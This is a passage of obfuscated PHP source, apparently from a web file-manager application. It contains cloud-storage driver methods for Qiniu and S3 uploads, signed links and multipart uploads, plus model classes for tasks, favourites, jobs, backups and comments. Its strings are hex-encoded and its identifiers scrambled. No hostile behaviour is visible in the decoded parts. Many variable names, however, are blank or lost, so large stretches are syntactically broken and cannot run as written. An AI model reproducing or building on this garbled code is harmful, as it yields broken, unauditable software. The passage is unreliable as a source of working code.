$犐[$[1437]]; $犐[$[90]] = $; $̲ = $ == 0 && substr($緥, strlen($緥) - 1, 1) == $[8] ? !0 : !1; if ($) { $this->cacheMethod($[212], $緥, $̲); $this->cacheMethod($[213], $緥, $犐); } if ($̲) { $ׇ[] = $緥; continue; } $¥Ϭ[] = $Ԝ ? $犐 : $緥; } foreach ($Ⱥ as $緥) { if ($緥 == $) { continue; } $ׇ[] = $緥; if ($) { $this->cacheMethod($[212], $緥, !0); } } if ($哚 === $[12]) { break; } } if ($) { $this->cacheMethod($[212], $֯, !0); } return array($[87] => $ׇ, $[86] => $¥Ϭ); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($ꬣ) { return $this->fileSubstr($ꬣ, 0, -1); } public function setContent($DZƌ, $ = '') { $ = $this->tempFile($this->pathThis($DZƌ)); file_put_contents($, $); if ($this->upload($DZƌ, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($ᤛ) { $䶋 =& $_SERVER[Ȣ]; $ = array(); if (is_array($ᤛ)) { foreach ($ᤛ as $ˀ) { $[] = $this->link($ˀ); } } else { $[] = $this->link($ᤛ); } $ = new Qiniu\Cdn\CdnManager($this->auth); list($, $Ҁ) = $->refreshUrls($); if ($Ҁ) { return !1; } return $[$䶋[1193]] == $䶋[777] ? !0 : !1; } public function fileSubstr($黠, $ǫӲ, $ƾ) { $Η =& $_SERVER[Ȣ]; if (!($ = $this->link($黠))) { return !1; } $ɒ = !1; if ($ƾ > 0) { $Ӓ = $ǫӲ + $ƾ - 1; $ɒ = array($Η[1442] . $ǫӲ . $Η[465] . $Ӓ); } $֒ȣ = url_request($, $Η[239], !1, $ɒ); return $֒ȣ[$Η[767]] ? $֒ȣ[$Η[1203]] : !1; } public function upload($, $ʑѺ, $ = false, $ն = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $峺 = $this->auth->uploadToken($this->bucket, $); $ = get_file_mime(get_path_ext($ʑѺ)); list($בۏ, $Հ) = $->putFile($峺, $, $ʑѺ, null, $); return $Հ ? !1 : $this->getPathOuter($); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function multiUploadFormData($, $̸ = 3600) { return $this->uploadToken($, $̸); } private function uploadToken($Ň, $ = 3600) { $ =& $_SERVER[Ȣ]; $ַ͎ = $; $Թ = array($[1443] => $[1444]); $ؠ = $Ň; $ = $this->auth->uploadToken($this->bucket, $ؠ, $ַ͎, $Թ, !0); $Ӵ = empty($this->region) || $this->region == $[1445] ? $[12] : $[465] . $this->region; $ = http_type() . "\72\x2f\57\x75\160\x6c\x6f\141\x64{$Ӵ}\x2e\x71\x69\x6e\151\165\160\x2e\143\157\x6d\57"; return array($[1446] => $, $[1447] => $); } public function download($ח, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ì = $this->link($ח))) { return !1; } $ = 0; $ = 1024 * 200; $ұ = fopen($, $_SERVER[Ȣ][1448]); while (!0) { $ = $this->fileSubstr($ח, $, $); if ($ === !1) { return !1; } fwrite($ұ, $); $ += $; if (strlen($) < $) { break; } } fclose($ұ); return $; } public function link($, $ӯ = '') { if (!$this->isFile($)) { return !1; } $˲ = $this->getHost() . $_SERVER[Ȣ][8] . $this->pathEncode($) . $ӯ; return $this->auth->privateDownloadUrl($˲, 3600 * 12); } public function fileOut($, $ = false, $ = false, $ = '') { $ԏƞ =& $_SERVER[Ȣ]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } $⠬ = $ ? $ԏƞ[1449] . rawurlencode($) : $ԏƞ[12]; $Μ = $this->link($, $⠬); $this->fileOutLink($Μ); } public function fileOutServer($ʴ, $ = false, $ܩ = false, $ = '') { parent::fileOut($ʴ, $, $ܩ, $); } public function fileOutImage($Ǟ, $ = 250) { $ = $this->link($Ǟ, $_SERVER[Ȣ][1450] . $); $this->fileOutLink($); } public function fileOutImageServer($ɛ, $݇˵ = 250) { parent::fileOutImage($ɛ, $݇˵); } public function hashMd5($̋) { $֊ =& $_SERVER[Ȣ]; $ = $this->objectMeta($̋); return isset($[$֊[221]]) ? $[$֊[221]] : !1; $䔬 = $this->link($̋, $֊[1451]); } public function size($) { $ʞ = $this->objectMeta($); return $ʞ ? $ʞ[$_SERVER[Ȣ][90]] : 0; } public function info($ާ) { if ($this->isFolder($ާ)) { return $this->folderInfo($ާ); } else { if ($this->isFile($ާ)) { return $this->fileInfo($ާ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ƕ) { return !$this->isFolder($ƕ) && $this->objectMeta($ƕ); } public function isFolder($) { return $this->cacheMethod($_SERVER[Ȣ][212], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[Ȣ][213], $); } protected function _objectMeta($҈) { $ =& $_SERVER[Ȣ]; list($Ƭ, $њ) = $this->bucketManager->stat($this->bucket, $҈); if ($Ƭ) { $Ƭ[$[90]] = intval($Ƭ[$[1437]]); } return $Ƭ; } protected function _isFolder($) { $ =& $_SERVER[Ȣ]; if ($ == $[12] || $ == $[8]) { return !0; } list($߄, $ż) = $this->bucketManager->listFiles($this->bucket, trim($, $[8]) . $[8], $[12], 1, $[8]); return !empty($߄[$[1440]]) || !empty($߄[$[1441]]) ? !0 : !1; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function uploadFormData($͖, $ = 3600) { $ =& $_SERVER[Ȣ]; $Nj = $[205]; $ = $[1356]; $ʘ = $[72]; $哽 = gmdate($[1357]); $ = gmdate($[768]); $ = $[1358]; $Է = $ . $[12]; $͠Ǿ = $[1320]; $Ŀ = array($this->accessKey, $, $this->region, $ʘ, $); $ũ = implode($[8], $Ŀ); $ː = array($[1322] => gmdate($[1321], strtotime($[1359])), $[1323] => array(array($[1325] => $this->bucket), array($[1324] => $Nj), array($[1326], $[1327], $[12]), array($[1326], $[1360], $[12]), array($[1326], $[1361], $[12]), array($[1328] => $͠Ǿ), array($[1362] => $ũ), array($[1363] => $), array($[1364] => $哽), array($[1365] => $Է))); $ = base64_encode(json_encode($ː)); $ = hash_hmac($[1366], $, $[1367] . $this->secret, !0); $ = hash_hmac($[1366], $this->region, $, !0); $̹Ԕ = hash_hmac($[1366], $ʘ, $, !0); $ϐ = hash_hmac($[1366], $, $̹Ԕ, !0); $̾ = hash_hmac($[1366], $, $ϐ); $ی = array($[224] => $[12], $[1368] => $[12], $[1324] => $Nj, $[1328] => $͠Ǿ, $[1332] => $, $[1369] => $ũ, $[1370] => $, $[1371] => $哽, $[1372] => $Է, $[1373] => $̾, $[188] => $this->getHost()); return $ی; } public function multiUploadFormData($, $ = 3600) { $љ =& $_SERVER[Ȣ]; $ћ = gmdate($љ[1452]); $ = array(); $ʸ = $this->client->getUploadId($this->bucket, $, $); if (!$ʸ) { return !1; } return array($љ[232] => $ʸ, $љ[188] => $this->getHost() . $љ[8] . $this->pathEncode($), $љ[233] => $ћ, $љ[105] => $); } public function multiUploadAuthData($, $ = array()) { $繱 =& $_SERVER[Ȣ]; $ = isset($[$繱[181]]) ? $[$繱[181]] : $繱[12]; $ʳ = $[$繱[105]]; unset($[$繱[105]]); if (isset($[$繱[234]])) { return $this->listUploadParts($ʳ, $); } $ = array(); if (isset($[$繱[1453]])) { $[$繱[1454]] = $[$繱[1453]]; } $ߖ = explode($繱[190], $this->getHost()); $ = array($繱[1455] => $ߖ[1], $繱[1456] => $繱[12], $繱[224] => $繱[131], $繱[1368] => $[$繱[90]]); $Ւ = $繱[237]; $ӄ = $繱[8] . $this->pathEncode($ʳ) . $; $ = $this->client->__getSignatureV4($, $, $Ւ, $ӄ); if (strpos($, $繱[236]) === 0) { if (isset($[$繱[1454]])) { $ҷ = $[$繱[1454]]; } else { if (isset($[$繱[1454]])) { $ҷ = $[$繱[1454]]; } else { $ҷ = hash($繱[1366], $繱[12]); } } return array($繱[242] => $[$繱[242]], $繱[1454] => $ҷ, $繱[233] => $[$繱[1457]]); } return $[$繱[242]]; } public function listUploadParts($, $ = array()) { $ە =& $_SERVER[Ȣ]; $۱п = str_replace($ە[243], $ە[12], $[$ە[181]]); $ = $this->client->listParts($this->bucket, $, $۱п); if (!$) { return !1; } $ˢ = $ە[1458]; foreach ($ as $㹑ʺ) { $ˢ .= $ە[1459] . "\x3c\x50\141\162\x74\116\x75\155\142\145\162\76{$㹑ʺ[$ە[1413]]}\x3c\57\x50\x61\162\x74\116\165\155\x62\x65\162\x3e\12" . "\74\x45\x54\141\x67\76{$㹑ʺ[$ە[1414]]}\x3c\x2f\105\x54\x61\x67\x3e\12" . $ە[1460]; } $ˢ .= $ە[1461]; $ۚ = array(); $֛ = explode($ە[190], $this->getHost()); $˩ = array($ە[1455] => $֛[1], $ە[224] => $ە[131], $ە[1368] => strlen($ˢ)); $ą = $ە[235]; $ = $ە[8] . $this->pathEncode($) . $[$ە[181]]; $ר = $this->client->__getSignatureV4($ۚ, $˩, $ą, $, $ˢ); return array($ە[242] => $ר[$ە[242]], $ە[233] => $ר[$ە[1457]], $ە[244] => $, $ە[1454] => $ר[$ە[1454]]); } public function link($, $ʆ = array()) { return parent::link($, $ʆ); } public function fileOut($Φ, $І = false, $ij = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[Ȣ][1462])) { return parent::fileOutServer($Φ, $І, $ij, $); } parent::fileOut($Φ, $І, $ij, $); } public function fileOutImage($Ĩ, $ȶ = 250) { if (strstr($this->endpoint, $_SERVER[Ȣ][1462])) { return parent::fileOutImageServer($Ĩ, $ȶ); } parent::fileOutImage($Ĩ, $ȶ); } public function fileOutLink($) { $傇 =& $_SERVER[Ȣ]; if (substr($, 0, 7) == $傇[1335]) { $ = $傇[1336] . substr($, 7); } header($傇[172] . $); die; } public function getHost() { $ =& $_SERVER[Ȣ]; $י = str_rtrim(parent::getHost(), $[8] . $this->bucket); $י = explode($[190], $י); return $י[0] . $[190] . $this->bucket . $[10] . $י[1]; } } goto F넒; c: class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\x65\155\x2e\164\x61\x73\153\114\x69\x73\164"; public $field = array("\156\141\155\145", "\x74\x79\x70\x65", "\145\166\145\156\164", "\164\151\155\x65", "\x64\145\x73\143", "\163\x79\x73\164\145\x6d", "\x65\156\x61\x62\154\145", "\x6c\141\x73\164\x52\x75\156", "\x73\x6f\162\x74"); public function listData($ = false, $ = "\x73\x6f\162\x74", $́¹ª = false) { return parent::listData($, $, $́¹ª); } public function add($Ɇ) { $ =& $_SERVER[Ȣ]; $Ô = $this->findByName($Ɇ[$[32]]); if ($Ô) { return !1; } $Ɇ[$[1627]] = 0; $Ɇ[$[1857]] = $this->getSort(); return parent::insert($Ɇ); } private function getSort() { $ =& $_SERVER[Ȣ]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1857]); return empty($) ? 0 : max($) + 1; } public function update($䯫Ļ, $➾) { $Б =& $_SERVER[Ȣ]; $ˏ = $this->listData($䯫Ļ); $Ԁ = $this->findByName($➾[$Б[32]]); if (!$ˏ || $Ԁ && $Ԁ[$Б[405]] != $ˏ[$Б[405]]) { return !1; } return parent::update($䯫Ļ, $➾); } public function remove($۰, $됴 = false) { $Ց =& $_SERVER[Ȣ]; $ = $this->listData($۰); if (!$) { return; } if (!$됴 && $[$Ց[1286]] == $Ց[99]) { return !1; } return parent::remove($۰); } public function enable($엞, $) { return $this->update($엞, array($_SERVER[Ȣ][2250] => $)); } public function run($ȫ) { return $this->update($ȫ, array($_SERVER[Ȣ][2260] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\165\163\145\x72\x5f\x66\141\x76"; protected function cacheFunctionAlias($) { $Ϩ =& $_SERVER[Ȣ]; return array($Ϩ[1944] => array(USER_ID, $Ϩ[2261])); } protected function listData() { $İì =& $_SERVER[Ȣ]; $坏 = array($İì[1657] => USER_ID, $İì[488] => 0); $ = $İì[2262]; $ = $this->field($)->where($坏)->order($İì[2263])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ =& $_SERVER[Ȣ]; $ = $this->listData(); $Ơ = array_filter_by_field($, $[33], $[422]); $ߠ = array_to_keyvalue($Ơ, $[12], $[88]); if (!$ߠ) { return $; } $ = 2000; $ѯܫ = array($[423] => array($[424], $ߠ)); $ = Model($[842])->listSource($ѯܫ, $); $ = array_merge($[$[86]], $[$[87]]); $ = array_to_keyvalue($, $[408]); foreach ($ as $ => $ޯ) { $ = $[$ޯ[$[88]]]; $ = $ ? $ : array(); $[$] = array_merge($, $ޯ); } return $; } protected function addFav($Ё, $ȥ = '', $߷ = "\163\157\x75\x72\143\x65") { $Ō =& $_SERVER[Ȣ]; $ǂ = array($Ō[1657] => USER_ID, $Ō[488] => 0, $Ō[428] => $߷, $Ō[427] => $Ё); if ($this->where($ǂ)->find()) { return !1; } $ǂ = array($Ō[1657] => USER_ID, $Ō[488] => 0); $Ґ = $this->where($ǂ)->max($Ō[1857]); if (!$Ґ) { $Ґ = 0; } if (!$ȥ && $߷ == $Ō[422]) { $ = Model($Ō[1337])->where(array($Ō[423] => $Ё))->find(); if (!$) { return !1; } $ȥ = $[$Ō[32]]; } $ȥ = $this->getAutoName($ȥ); $ = array($Ō[1657] => USER_ID, $Ō[488] => 0, $Ō[426] => $ȥ, $Ō[427] => $Ё, $Ō[428] => $߷, $Ō[1838] => $Ґ + 1); return $this->add($); } protected function remove($㯈) { $ =& $_SERVER[Ȣ]; $ = array($[1657] => USER_ID, $[425] => $㯈); return $this->where($)->delete(); } protected function removeByName($廖) { $ =& $_SERVER[Ȣ]; $ת˜ = array($[1657] => USER_ID, $[426] => $廖, $[488] => 0); return $this->where($ת˜)->delete(); } protected function rename($ս, $) { $ =& $_SERVER[Ȣ]; if ($ս == $) { return !1; } $Ϯ = $this->getAutoName($); if ($ != $Ϯ) { return !1; } $ = array($[1657] => USER_ID, $[488] => 0, $[32] => $ս); return $this->where($)->save(array($[32] => $)); } protected function resetSort($̣) { $ =& $_SERVER[Ȣ]; $̣ = is_array($̣) ? $̣ : array(); $Ńđ = array($[1657] => USER_ID); for ($ = 0; $ < count($̣); $++) { $Ńđ[$[425]] = $̣[$]; $this->where($Ńđ)->save(array($[1838] => $ + 1)); } return !0; } protected function moveTop($壮) { $ҭ϶ =& $_SERVER[Ȣ]; $ = array($ҭ϶[1657] => USER_ID, $ҭ϶[488] => 0); $߫ = $this->where($)->where(array($ҭ϶[32] => $壮))->find(); if (!$߫) { return; } $ = $this->field($ҭ϶[405])->where($)->order($ҭ϶[2263])->select(); $ = array_to_keyvalue($, $ҭ϶[12], $ҭ϶[405]); $ = $; $ = array_remove_value($, $߫[$ҭ϶[405]]); array_unshift($, $߫[$ҭ϶[405]]); return $this->resetSort($); } protected function moveBottom($Ϳ) { $ =& $_SERVER[Ȣ]; $״ǜ = array($[1657] => USER_ID, $[488] => 0); $ = $this->where($״ǜ)->max($[1857]); $ = array($[1857] => $ + 1); return $this->where($״ǜ)->where(array($[32] => $Ϳ))->save($); } private function getAutoName($) { $٦ =& $_SERVER[Ȣ]; $̦ = array($٦[1657] => USER_ID, $٦[488] => 0); $ = $this->field($٦[32])->where($̦)->select(); $ = array_to_keyvalue($, $٦[12], $٦[32]); if (!$ || !in_array($, $)) { return $; } for ($ = 0; $ < count($); $++) { if (!in_array($ . "\x28{$}\51", $)) { return $ . "\x28{$}\51"; } } return $ . "\50{$}\x29"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\x65\155\x2e\152\x6f\142\x4c\x69\163\x74"; public $field = array("\x6e\x61\x6d\x65", "\x64\145\x73\x63", "\x73\157\x72\x74"); const JOB_KEY = "\x73\x65\x6c\x66\x4a\157\142\x4c\151\163\164"; public function listData($Ż = false, $ɤ = "\x73\157\162\x74", $ = false) { return parent::listData($Ż, $ɤ, $); } public function remove($҂ȩ) { return parent::remove($҂ȩ); } public function add($Ͱ) { $ =& $_SERVER[Ȣ]; if ($this->findByName($Ͱ[$[32]])) { return !1; } $Ͱ[$[1857]] = $this->getSort(); return parent::insert($Ͱ); } private function getSort() { $ =& $_SERVER[Ȣ]; $ = parent::listData(); $؉ = array_to_keyvalue($, $[12], $[1857]); return empty($؉) ? 0 : max($؉) + 1; } public function update($, $) { $∥ =& $_SERVER[Ȣ]; $ڶ = parent::listData($); $ْ = $this->findByName($[$∥[32]]); if (!$ڶ || $ْ && $ْ[$∥[405]] != $ڶ[$∥[405]]) { return !1; } return parent::update($, $); } public function setUserJob($∖, $) { $Ň =& $_SERVER[Ȣ]; if (!is_array($)) { $ = array($); } $̉ = parent::listData(); $ = array_to_keyvalue($̉, $Ň[32]); $Ă = $Ň[386]; foreach ($ as $) { if ($[$]) { $Ă .= $[$][$Ň[405]] . $Ň[50]; } else { $þΜ = $this->add($); $Ă .= $þΜ . $Ň[50]; } } $Ă = rtrim($Ă, $Ň[50]); Model($Ň[546])->metaSet($∖, self::JOB_KEY, $Ă); } public function getUserJob($ӕ) { $З = Model($_SERVER[Ȣ][546])->metaGet($ӕ); return $this->getUserJobInfo($З[self::JOB_KEY]); } public function getUserJobInfo($) { $ =& $_SERVER[Ȣ]; $ɛΜ = explode($[50], $); $ڊ = parent::listData(); $ڊ = array_remove_key($ڊ, $[207]); $Ԉ = array(); foreach ($ɛΜ as $) { if (isset($ڊ[$])) { $Ԉ[] = $ڊ[$]; } } return $Ԉ; } } goto A䂌; C݇: class BackupModel extends ModelBaseLight { public $optionType = "\123\171\163\164\145\x6d\x2e\x62\141\x63\153\165\x70\114\151\x73\x74"; public $field = array("\151\157", "\x6e\x61\155\145", "\x73\x74\141\164\165\x73", "\x63\x6f\156\164\x65\156\164", "\x6d\x61\156\x75\x61\x6c", "\162\x65\x73\x75\154\164", "\164\x69\x6d\145\106\x72\157\x6d", "\164\x69\x6d\145\x54\x6f"); public function config() { $Ӌ =& $_SERVER[Ȣ]; $ҿ = Model($Ӌ[787])->get($Ӌ[797]); $ҿ = json_decode($ҿ, !0); $ҿ = is_array($ҿ) ? $ҿ : array(); if (!isset($ҿ[$Ӌ[772]])) { $ҿ[$Ӌ[772]] = $Ӌ[99]; } unset($ҿ[$Ӌ[1636]]); Action($Ӌ[1858])->taskInit(); Model($Ӌ[1635])->cacheClear(); $ = $Ӌ[1859]; $账 = Model($Ӌ[1860])->findByKey($Ӌ[1654], $); if (!$账) { $账 = array(); } if (isset($账[$Ӌ[210]])) { $账[$Ӌ[210]] = json_decode($账[$Ӌ[210]], !0); } if (isset($ҿ[$Ӌ[210]])) { $账[$Ӌ[210]][$Ӌ[1639]] = $ҿ[$Ӌ[210]]; unset($ҿ[$Ӌ[210]]); } return array_merge($账, $ҿ); } public function listData($ڦ = false, $ = "\155\157\144\151\x66\x79\124\x69\155\145", $ܱ = false) { return parent::listData($ڦ, $, !0); } public function lastItem() { $ = $this->listData(); return !empty($[0]) ? $[0] : null; } public function kill($鑑) { $ =& $_SERVER[Ȣ]; $߉ = $this->listData($鑑); if (!$߉ || empty($߉[$[32]])) { return !0; } Task::kill($[796]); Task::kill($[817]); Task::kill($[826]); $㪶 = $߉[$[32]]; $覈 = TEMP_FILES . $[795] . $㪶 . $[8]; IO::remove($覈, !1); return $this->remove($鑑); } public function remove($) { $ᑜ = $this->listData($); if (!$ᑜ) { return !0; } return $this->backupRemove($ᑜ); } private function backupRemove($) { parent::remove($[$_SERVER[Ȣ][405]]); $ܲ = $this->backupPath($); IO::remove($ܲ, !1); return !0; } private function backupPath($) { $ =& $_SERVER[Ȣ]; $Ȅ = $[$[32]]; $ = Model($[787])->get($[788]); $Ƭ = substr(md5($[789] . $ . $Ȅ), 0, 8); return "\173\x69\x6f\72{$[$[769]]}\x7d\x2f\144\141\x74\141\142\x61\x73\x65\x2f\142\141\x63\x6b\165\x70\57" . $Ȅ . $[11] . $Ƭ; } public function start() { $ =& $_SERVER[Ȣ]; if ($GLOBALS[$[6]][$[100]][$[1861]] != $[99]) { return !0; } $ = $this->config(); if (!$ || $[$[1636]] != $[99]) { return !1; } $ɨ = $this->process(); foreach ($ɨ as $) { if ($) { return Task::restart($[$[405]]); } } $ը = new Backup(); $˟ = $ը->db(); if ($˟) { $˟ = $ը->dbFile(); if ($˟ && $[$[772]] == $[204]) { $˟ = $ը->file(); } } Backup::set(array($[767] => 1, $[501] => time())); return !0; } public function process() { $ =& $_SERVER[Ȣ]; $ = array($[775] => Task::get($[796]), $[779] => Task::get($[817]), $[206] => Task::get($[826])); $Ŵ = !1; foreach ($ as &$ʘǮ) { if ($Ŵ) { $ʘǮ = !1; continue; } if ($ʘǮ) { $ݶ = intval(_get($ʘǮ, $[1671], 0)); if (time() - $ݶ > 7200) { Task::kill($ʘǮ[$[405]]); $Ŵ = !0; $ʘǮ = !1; } } } return $; } public function restore() { $蹂 =& $_SERVER[Ȣ]; ActionCall($蹂[1072], !0, 1); ActionCall($蹂[1072], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\157\x6d\155\x65\156\x74"; protected $tableMeta = array("\x74\x61\142\154\145\x4e\141\x6d\x65" => "\x63\157\x6d\155\145\x6e\164\137\x6d\x65\x74\x61", "\155\x65\x74\x61\106\x69\145\x6c\144" => "\143\x6f\155\x6d\x65\156\x74\111\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($Ǩ) { $̕ =& $_SERVER[Ȣ]; if ($Ǩ[$̕[1862]]) { $گ = $this->where(array($̕[1863] => $Ǩ[$̕[1862]]))->find(); if (!$گ || $گ[$̕[417]] != $Ǩ[$̕[417]] || $گ[$̕[510]] != $Ǩ[$̕[510]]) { return !1; } $this->where(array($̕[1863] => $Ǩ[$̕[1862]]))->setAdd($̕[1864], 1); } $Ǩ[$̕[1865]] = 0; $Ǩ[$̕[1864]] = 0; $Ǩ[$̕[767]] = 1; return $this->add($Ǩ); } public function commentCount($Ϲ, $, $ؤ = false) { $Ӷ =& $_SERVER[Ȣ]; if (!$Ϲ) { return array(); } if (is_string($Ϲ) || is_int($Ϲ)) { $Ϲ = array($Ϲ); } $ = array($Ӷ[510], $Ӷ[1866] => $Ӷ[505]); $ = array($Ӷ[510] => array($Ӷ[7], $Ϲ), $Ӷ[417] => $); if ($ؤ) { $[$Ӷ[1666]] = $ؤ; } $ = $this->field($)->where($)->group($Ӷ[510])->select(); return array_to_keyvalue($, $Ӷ[510], $Ӷ[505]); } public function starTarget($, $) { $י =& $_SERVER[Ȣ]; $ = $ + self::TYPE_STAR_OFFSET; $ɻݺ = array($י[1666] => USER_ID, $י[417] => $, $י[510] => $); $ = $this->where($ɻݺ)->find(); if ($) { return $this->where(array($י[405] => $[$י[405]]))->delete(); } $ = array($י[1862] => 0, $י[1666] => USER_ID, $י[767] => 1, $י[772] => $י[12], $י[417] => $, $י[510] => $, $י[1865] => 0, $י[1864] => 0); return $this->add($); } public function starTargetCount($ά, $) { $氶 =& $_SERVER[Ȣ]; $ = $ + self::TYPE_STAR_OFFSET; $ = $this->commentCount($ά, $); $ = $this->commentCount($ά, $, USER_ID); return array($氶[1867] => $, $氶[1868] => $); } public function starTargetUserList($ϥ, $䓟) { $ =& $_SERVER[Ȣ]; $Ų = $ϥ + self::TYPE_STAR_OFFSET; $ = array($[510] => $䓟, $[417] => $Ų); $ȍܑ = $this->where($)->count(); $Ɣ = array($[263] => $ȍܑ, $[1869] => array()); if (!$ȍܑ) { return $Ɣ; } $ = $this->field($[1666])->where($)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1666]); $Ɣ[$[1869]] = Model($[518])->userListInfo($); return $Ɣ; } public function prasiseUserList($) { $ގ =& $_SERVER[Ȣ]; $ޠ = array($ގ[1870] => $); $菶 = $this->where($ޠ)->find(); $ŀ = _get($菶, $ގ[1865], 0); $Ŷ = array($ގ[263] => $ŀ, $ގ[1869] => array()); if (!$ŀ) { return $Ŷ; } $ = Model($ގ[1871])->field($ގ[1666])->where($ޠ)->limit(500)->select(); $ = array_to_keyvalue($, $ގ[12], $ގ[1666]); $Ŷ[$ގ[1869]] = Model($ގ[518])->userListInfo($); return $Ŷ; } public function remove($ş芷) { $ =& $_SERVER[Ȣ]; $ = array($[1863] => $ş芷); $Ս = $this->where($)->find(); if ($Ս[$[1862]]) { $this->where(array($[1863] => $Ս[$[1862]]))->setAdd($[1864], -1); } return $this->where($)->delete(); } public function edit($ɾØ, $ç) { $ =& $_SERVER[Ȣ]; $¯ = array($[1863] => $ɾØ); return $this->where($¯)->save(array($[1872] => $ç)); } public function prasise($۩) { $ȋ =& $_SERVER[Ȣ]; $페 = Model($ȋ[1873]); $牶 = array($ȋ[1863] => $۩, $ȋ[1657] => USER_ID); $ = $페->where($牶)->find(); if (!$) { $페->add($牶); $ſ = $this->where(array($ȋ[1863] => $۩))->setAdd($ȋ[1865], 1); } else { $페->where($牶)->delete(); $ſ = $this->where(array($ȋ[1863] => $۩))->setAdd($ȋ[1865], -1); } return $ſ; } public function targetInfo($ׯ, $) { $ =& $_SERVER[Ȣ]; $ = array($[588] => $ׯ, $[589] => $); $ô = $this->where($)->count(); $טŵ = "\x52\x49\107\x48\x54\40\x4a\117\111\116\40{$this->tablePrefix}\x63\157\155\155\x65\156\x74\x5f\x70\x72\x61\151\x73\x65\40\163\164\141\162\40\x6f\x6e\x20\x63\x6f\155\x6d\x65\156\x74\x2e\x63\x6f\x6d\x6d\145\156\x74\111\104\x20\75\40\x73\x74\141\x72\x2e\x63\157\x6d\x6d\145\x6e\x74\x49\104"; $쐄 = $this->alias($[362])->where($)->join($טŵ, $[1874])->count(); $ɔ = array($[1875] => $ô, $[1876] => $쐄); return $ɔ; } public function listData($ǽϟ) { $ٮ =& $_SERVER[Ȣ]; if (isset($ǽϟ[$ٮ[1877]])) { if ($ǽϟ[$ٮ[1877]]) { $ǽϟ[$ٮ[1870]] = array($ٮ[1026], intval($ǽϟ[$ٮ[1877]])); } unset($ǽϟ[$ٮ[1877]]); } if (isset($ǽϟ[$ٮ[1878]])) { if ($ǽϟ[$ٮ[1878]]) { $ǽϟ[$ٮ[1870]] = array($ٮ[1023], intval($ǽϟ[$ٮ[1878]])); } unset($ǽϟ[$ٮ[1878]]); } return $this->_listData($ǽϟ); } private function _listData($) { $ׁ =& $_SERVER[Ȣ]; $˯ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($˯[$ׁ[377]]); $this->_listAppendUser($˯[$ׁ[377]]); $this->_listAppendMeta($˯[$ׁ[377]]); return $˯; } private function _makeOrder() { $빜 =& $_SERVER[Ȣ]; $ۂԔ = array($빜[1865], $빜[1864], $빜[207]); $ = Input::get($빜[460], $빜[7], $빜[429], $ۂԔ); $ = Input::get($빜[461], $빜[7], $빜[1659], array($빜[1879], $빜[456])); $ = $ . $빜[53] . $; return $this->order($); } private function _listAppendParent(&$) { $͜ =& $_SERVER[Ȣ]; $ = array_unique(array_to_keyvalue($, $͜[12], $͜[1862])); $ = array_remove_value($, $͜[204]); if (!$) { return; } $Ը = $this->where(array($͜[1863] => array($͜[7], $)))->select(); $Ը = array_to_keyvalue($Ը, $͜[1870]); foreach ($ as &$ґ) { if (isset($Ը[$ґ[$͜[1862]]])) { $ґ[$͜[1880]] = $Ը[$ґ[$͜[1862]]]; } } unset($ґ); } private function _listAppendUser(&$) { $ =& $_SERVER[Ȣ]; $Ӊ = array_unique(array_to_keyvalue($, $[12], $[1666])); $Ӊ = array_remove_value($Ӊ, $[204]); if (count($Ӊ) == 0) { return; } foreach ($ as $ޤ) { if (isset($ޤ[$[1880]])) { $Ӊ[] = $ޤ[$[1880]][$[1666]]; } } $㫘 = Model($[546])->userListInfo($Ӊ); foreach ($ as &$ޤ) { $ޤ[$[602]] = $㫘[$ޤ[$[1666]]]; if (isset($ޤ[$[1880]])) { $ޤ[$[1880]][$[602]] = $㫘[$ޤ[$[1880]][$[1666]]]; } } unset($ޤ); } private function _listAppendMeta(&$) { $ =& $_SERVER[Ȣ]; $ƍ磞 = array_unique(array_to_keyvalue($, $[12], $[1870])); $ƍ磞 = array_remove_value($ƍ磞, $[204]); if (!$ƍ磞) { return; } foreach ($ as $) { if (isset($[$[1880]])) { $ƍ磞[] = $[$[1880]][$[1870]]; } } $Ǧ = $this->metaList($ƍ磞); if (!$Ǧ) { return !1; } foreach ($ as &$) { $[$[470]] = $Ǧ[$[$[1870]]]; if (isset($[$[1880]])) { $[$[1880]][$[470]] = $Ǧ[$[$[1880]][$[1870]]]; } } unset($); } private function metaList($) { $쳞ۥ =& $_SERVER[Ȣ]; if (!$) { return array(); } $ = array($쳞ۥ[1870] => array($쳞ۥ[7], $)); $ξ = Model($쳞ۥ[1881])->where($)->select(); $ξ = array_to_keyvalue_group($ξ, $쳞ۥ[1870]); foreach ($ξ as $Ͼ => $Ç) { $ʗ = array(); foreach ($Ç as $) { $ʗ[$[$쳞ۥ[105]]] = $[$쳞ۥ[382]]; } $ξ[$Ͼ] = $ʗ; } return $ξ ? $ξ : array(); } } class FileContentModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x66\151\x6c\145\137\143\157\156\x74\x65\x6e\x74\x73"; protected $dataAuto = array(array("\x63\162\x65\141\164\x65\x54\x69\155\x65", "\164\x69\x6d\145", "\x69\x6e\x73\145\162\x74", "\146\165\x6e\x63\164\151\157\x6e")); } goto e۔; B덄: class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($, $ㆁ) { $ =& $_SERVER[Ȣ]; $this->cachePath = 